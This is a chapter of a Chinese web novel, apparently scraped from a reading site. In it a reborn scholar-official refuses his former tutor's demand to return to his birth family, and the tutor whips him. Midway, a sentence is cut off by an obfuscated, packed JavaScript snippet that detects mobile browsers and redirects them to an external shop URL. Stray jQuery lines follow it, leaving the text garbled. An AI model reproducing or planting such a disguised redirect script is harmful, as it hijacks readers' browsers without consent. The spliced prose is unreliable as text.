24. 先生们

作品:《疯鬼恩师每天都想强占我

    祝清正欲回话,冯怀鹤蓦地转身背对她,声音发寒:“大先生怎么来了?”


    祝清不知他在跟谁说话,懵了一懵,微微探头,看见冯怀鹤对面竟不知何时站了个人。


    那人是个三十左右的男子,梳着道冠头,留了一串胡须,胡须被风吹得飘动,看起来竟有几分仙风道骨之感。


    他像个道士,祝清从未见过此人,记忆中也搜索不到他,一时更是惊疑,冯怀鹤的掌书记院连田令孜都不会来,他怎么会来?还如此的悄无声息。


    疑虑中,那人浑浊细长的眼睛向她看来:“你是何人?怎会在此?”


    “我……”


    祝清才开口,冯怀鹤打断她:“你先出去。”


    他微微动身,高大的身躯挡在祝清前面。


    “哦……”


    她察觉到了冯怀鹤微妙的变化,从那个道士一出现,他就像一根被拉紧的橡皮筋,紧紧绷着。


    一种无声的紧绷感,在冯怀鹤身上蔓延。


    她低下头,逃避似的从他身边迅速走过。


    敬万探究地看着祝清匆匆离去的背影,觉出几分不正常,此间书记院,还未有自己以外的人进来过。


    他慢慢收了目光,探究地望一眼冯怀鹤,随即迈进掌书记房:“你跟我进来。”


    -


    最后一点儿太阳落了山,天幕暗淡下来,书记房里的烛台发出微弱的光芒,照出桌案上散落的罂/粟壳。


    敬万一进门,便瞧见了。


    他转佛珠的手一顿:“这是什么?”


    冯怀鹤直言道:“你不是都看到了吗?”


    罂/粟壳,这味药材,是冯怀鹤上辈子生病时,大夫抓给他的。


    每次服用后,冯怀鹤便觉四肢飘飘然,如同坠落在云端,魂魄游离,脱离尘世凡苦。


    每每此时,他不仅能忘掉失去祝清的痛苦,偶尔还能看见祝清站在床前,甜甜地冲他笑,喊他先生。


    渐渐地,他迷上了此药。


    大夫多次告诫,此药容易成瘾,不可多服。


    可此药能让他缠绵病榻的日子好过一点儿,冯怀鹤没能克制住自己。


    重活一世,他本以为可以不用再借此药舒缓排解,直到在清溪村遇见祝清和张隐。


    他的嫉妒和恨意溃不成军,全都回到了原点。


    好在这具年轻的身体是初次服药,并未成瘾,冯怀鹤想,或许和祝清一样,都还来得及。


    冯怀鹤沉默的时间里,敬万一直在观察他。


    敬万心觉,冯怀鹤与往常大有不同。


    以前的冯怀鹤,在他面前谨小慎微,眼睛里、举止中,处处透着对自己的尊敬和惧怕。


    对他更是百依百顺,无所不听无所不从。


    那种幼兽一般依赖又惧怕被抛弃的眼神,让敬万有种莫大的存在感。


    可不知何时起,冯怀鹤不再那样。


    他不仅不再言听计从,偶尔看过来时,敬万还能察觉他眼睛里微妙的恨意。


    “至简啊,”敬万坐在冯至简的公案边,把玩着一串圆光水滑的佛珠,用长辈关爱的语气说:“上次我与你说的事,还没想好?”


    他瞥向冯怀鹤,眼里暗含压迫。


    冯怀鹤悄悄握紧拳头:“我不会去冯氏。”更不会去认祖归宗。


    敬万叹息:“可是你母亲已经没多少时日了,她想在走之前见你一面。难道,你忘了我是如何教导你的?”


    “没忘。无非便是至忠、至孝、至义。”


    “那为何不去?”敬万语重心长:“你如此行径,有违至孝啊。”


    “我这就不孝了?”冯至简嗤一声冷笑:“那大先生您,为求荣辱,故意杀女,算什么?”


    “你说什么?”


    敬万的脸色一沉。


    冯怀鹤看着,只觉膝盖已经结痂的伤又袭来剧痛。


    他没想到,过去几十年,对敬万道士的惧怕竟然还深深刻在骨头里。


    上一世,百年商贾的冯氏家底殷实,数不尽的钱财,冯怀鹤被冯氏找回去,让他从清溪村的穷小子摇身一变成了富商公子哥。


    但他在那偌大的府邸里,感受不到半点儿暖意。


    父亲冯如令看他的眼神,总有一种意味难明的纠结,母亲李氏也并不关照他,为数不多的几次见面,态度都是冷冷的。


    冯怀鹤习惯了,直到家中给他安排了教学先生敬万。


    唯有敬万,陪伴他,教育他,传给他人之道义。


    偶尔,敬万会摸他的脑袋说:“你为百姓而生,所做一切皆要以百姓为出发点,这是你此生的道,日后,我会为你冠字‘至简’,你可明白?”


    为了得到唯一的长辈的持久关注,冯至简努力地讨好,用力地点头。


    他尊重敬万,喜欢敬万用那种欣赏的眼神看他,是以也有些惧怕,惧怕敬万会失望,不再欣赏他,像长姐,像父亲,也像母亲那样舍弃他。


    上一世他为了敬万所谓的‘道’,做错太多。


    祝清出师离开他的前夜,他准备好了,想与祝清表明心意,求她留下来。


    但他拿不定主意,去求问敬万,希望能得指点迷津。


    敬万却说:“我能杀女,你也该舍弃门生。”


    于是冯至简眼睁睁看着祝清离开。


    十六州被割,敬万逼迫他骗祝清来长安杀害。


    敬万还是那句话:“我能杀女,你也该舍弃门生,还是这种割让城池的门生。”


    冯至简反抗,挣扎,可每当如此,敬万便用那种失望的眼神看他。


    他很害怕,敬万对他失望透顶,然后离他而去。


    毕竟祝清已经嫁人,家族也被朱温杀尽,他孤零零的一个人,敬万是他最后的浮木,他不愿连最后的浮木都抓不住!


    他真的听从敬万之言,但两人各退一步,他杀张隐,放了祝清。


    敬万只说:“你且放出消息,不论他们二人之中谁来赴约,都不可再将人放回去。”


    敬万安排好了弓箭手,不论祝清夫妻谁来,都得死。


    冯至简没想到祝清来了,还是独身一人。


    他没想到,张隐竟真的让她独身前往。


    他恨之入骨,恨张隐,更恨自己。


    祝清死后,他想自刎随祝清而去,敬万却说,已经走到这一步,就算他死了也于事无补。


    应该活着,去完成祝清的理想,辅佐一任君主,开出太平盛世。


    他看着水深火热的百姓,两脚羊不断被端上饭桌,最终选择苟延残喘,守着祝清的孤坟继续苟活,背负手刃门生的骂名,孤零零过了一辈子。


    后半辈子他一个人的生活,如今回忆起来,仍然倍感苦涩,这种苦涩流遍了四肢百骸,激得他手脚发麻。


    冯怀鹤强迫自己从那些苦痛的回忆里抽身,目光平静地看着敬万说:“世上本没有占卜之数,您当年算出您女儿危害大唐,将其杀害,不过是为了惊众取荣,求得敬佩和尊荣。”


    敬万嚯地从椅子上起身,“你胡说什么?”


    “是不是胡说,您比学生清楚。”


    ‘啪——’


    敬万一掌拍在公案上,气得胸口剧烈起伏,指着冯怀鹤的鼻子命令:“跪下!”


    对抗师长,多大的能耐!


    冯怀鹤不曾犹豫,便跪了下去。膝盖的伤裂开,疼得让他清醒。


    他深知自己被敬万驯化得太顽固,纵然重活,他仍然不可不畏。只是面上无论如何也要装得镇静。


    活过百岁,冯怀鹤已然悟了明白,倘若能得一个好先生,在他误入歧途时指点迷津,及时阻止他犯下诸多大错,及时将他从腐烂的深渊拽出来,他可以少走许许多多


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16672080|188385||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的弯路。


    和祝清,或许也不会是此般结局。


    敬万先生应是点化他,教化他,而不是驯化,更不是驯服。


    他不责怪、埋怨敬万,只是这辈子都不想再做敬万的学生。


    毕竟他和敬万,都不是一个好先生。


    一个只想驯化学生,一个对学生动了欲念。


    “我女之事已经过去多年,想让她安息,我且不与你争论,”敬万道:“我只问你,回不回冯家去!”


    “不回!”


    “你可知生育之恩大过天地,那是你的生母,她只是想在死前见你一面!”


    冯怀鹤咬牙:“我不回去!”


    “逆子!”


    “我绝不回去!”


    上一世他已经为冯氏死过一次,便是生恩大如天,他也该还清了。至于养恩,可他是长姐养大的。


    这辈子他不想再与那个冯氏纠缠,他只想自己活着,为祝清活着,将自己所有不多的一切全部给她。


    他该是祝清的,弥补给她自己的所有。


    “你,你,”敬万气得走来走去,恨不得原地转圈圈,“我竟不知你何时变得如此执拗!”


    他扫视一圈,目光锁定在墙壁上的一根绳子上。


    绳子是冯怀鹤以前用来捆书的,敬万摘下那根绳子,拿在手里弯折出硬度,狠狠抽在冯怀鹤的背上。


    -


    祝清一走出掌书记院,便猛吸一口气,明明是同一片天空,但外头的空气就是比掌书记院的新鲜!


    她走出幕府,蹲在大门边,等祝飞川的牛车来接她。


    祝飞川还没来,她先见到了冯如令。


    冯如令才五十多的年纪,却已白了半边头发,他带着十来个仆从匆匆而来,仆从们抬着一个个箱子。


    箱子上有文墨坊的样章,应该都是今日他在文墨坊买来的东西。


    冯如令神色焦急,却是停在幕府门外,像是不敢进去,看见祝清,他迎上来:“小娘子,看你的样子,是在幕府当值吧?”


    祝清不明白他要做什么,点点头。


    “能否请你通传一声,我想见见冯掌书记。”


    “……我也见不到他呀。”祝清才从冯怀鹤的狼窝出来,才不要回去呢。


    冯如令抹了一把额头上的汗,急喘道:“小娘子,求你通传,我给你一吊钱作为答谢。实不相瞒,怀鹤他母亲快不行了……”


    祝清看着这个被憔悴和落寞同时灌满中年男人,并不心软,直到听见他提起了冯怀鹤的母亲。


    她心神恍惚。


    片刻后,她起身,拒绝了冯如令递来的一吊钱:“我去,你且等着。”


    祝清鼓足勇气,不过就是去一趟,在心中暗暗发誓,这是她最后一次进掌书记院!


    最后一次!


    她迈进院子,晚风恰时吹过耳边,送来冯怀鹤若有似无的痛苦闷哼声。


    祝清拧眉,今日便瞧见他在用罂/粟,莫非是病症发作?


    她连忙加快步伐,一阵风似的,冲进了掌书记房。


    跑得急了,她伸手扶住门框气喘吁吁,一抬头,便见冯怀鹤跪伏在地,敬万在他身后高举长鞭,重重地抽在他的后背。


    咻的一声,鞭子所过之处,皮肉绽开,血迹斑斑。


    他身边还散落着今日花瓶碎裂的泥土,高大的身躯弯折,趴伏在地,拱成小桥形状,宛如松柏断枝,青山塌陷。


    周边的空气在这一瞬凝固。


    冯怀鹤听见声音,扭头望过来,他的脸颊因为疼痛而涨得通红,看见门边的祝清,他一愣,伏在地面的双手慢慢握紧成拳。


    冷汗从他额际落下,滑过高挺的鼻梁,又消失在地。


    祝清僵在原地,不敢再往前。


    冯怀鹤望过来的眼神,羞耻,愤恨,以及被她看见的自卑脆弱。